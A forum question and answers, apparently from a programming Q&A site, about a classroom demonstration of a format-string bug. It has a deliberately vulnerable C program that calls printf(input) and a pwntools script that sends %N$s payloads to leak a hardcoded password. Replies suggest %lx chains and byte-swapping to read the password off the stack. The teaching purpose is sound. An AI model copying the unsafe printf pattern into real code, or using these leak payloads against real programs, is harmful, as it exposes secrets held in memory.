PROBLEM
I am trying to put together a short demonstration of a simple hack for a presentation about cyber-security. I thought about using a format string vulnerability, and heavily inspired by this video i put together this demo:
// main.c
#include <stdio.h>
#include "secret.h"
void testPassword() {
char password[64];
char input[128];
readPass(password); // puts the secret into password
printf("Password: ");
scanf("%127s", input);
printf("\nYou typed:\n");
printf(input); // vuln
if (strcmp(password, input) == 0) {
printf("\n...Senha correta!\n");
} else {
printf("\n...Voce errou :(\n");
}
}
int main() {
testPassword();
}
// secret.h
#include <string.h>
#define pass "bcc_unesp_2024"
void readPass(char buff[64]) {
strcpy_s(buff, 64*sizeof(char), pass);
}
Separating it into two files for presentations sake. I intend to show how the basics of the exploit work and ultimately use this python script to find the password and other interesting values:
import pwn
pwn.context.log_level = "critical"
programa = pwn.ELF("./a.out")
for i in range(0, 256):
payload = b"".join([
b"%" + str(i).encode("utf-8") + b"$s"
])
pty = pwn.process.PTY
p = programa.process(stdin=pty, stdout=pty)
p.recvuntil(b"senha: ")
p.sendline(payload)
response = p.recvall().decode("latin-1")
print(response)
After running this many enviorement variables, nonsense strings, and seg faults are displayed as expected, but the password is nowhere to be found.
I am using wsl2 for writing this code, and I got the same results when thesting on a Ubuntu 20.04.6 LTS virtual box, and compiling with GCC 11.4.0 without any flags, just gcc main.c
I appreciate any help or suggestions regarding this demonstration If any informations is missing, dont hesitate to ask, thank you in advance :)
I have tried:
- putting all the code in one file
- declaring and defining password in the scope of the function directly
- searching for pointers with %p and hex values with %x in the python script
- going through the code with gdb and looking at values after $sp (the stack pointer), where I was able to find the desired password, but I couldnt replicate this with the python script
the original code if you need it: https://github.com/argArthur/Demonstracao-cyber.git
%17$s
which takes the 17th argument toprintf
(i.e. some random value up on the stack), treats it as a pointer to a string, and prints that string. Why should any of those values actually point to the password, other than by chance? Sure, you might get lucky, but if you don't, well, too bad.%17$x
would be more effective, because then you get the actual value from the stack, rather than what it points to, and we do know that the password is somewhere up above on the stack. Of course you will have to convert it from hex back to ASCII if you want to be able to read it.$
business and just pass something like"%lx%lx%lx%lx%lx%lx%lx%lx..."
and get a big chunk of the stack 8 bytes at a time. You have to byte-swap and convert back to ASCII, but for me I get the password as the 6th and 7th integers.%x%x%x...
and now%lx%lx%lx%lx...
and decoding the hex into ascii, but I get nothing but random characters after the sequence of%lx
s, I'm not sure what you mean by byte-swap before converting.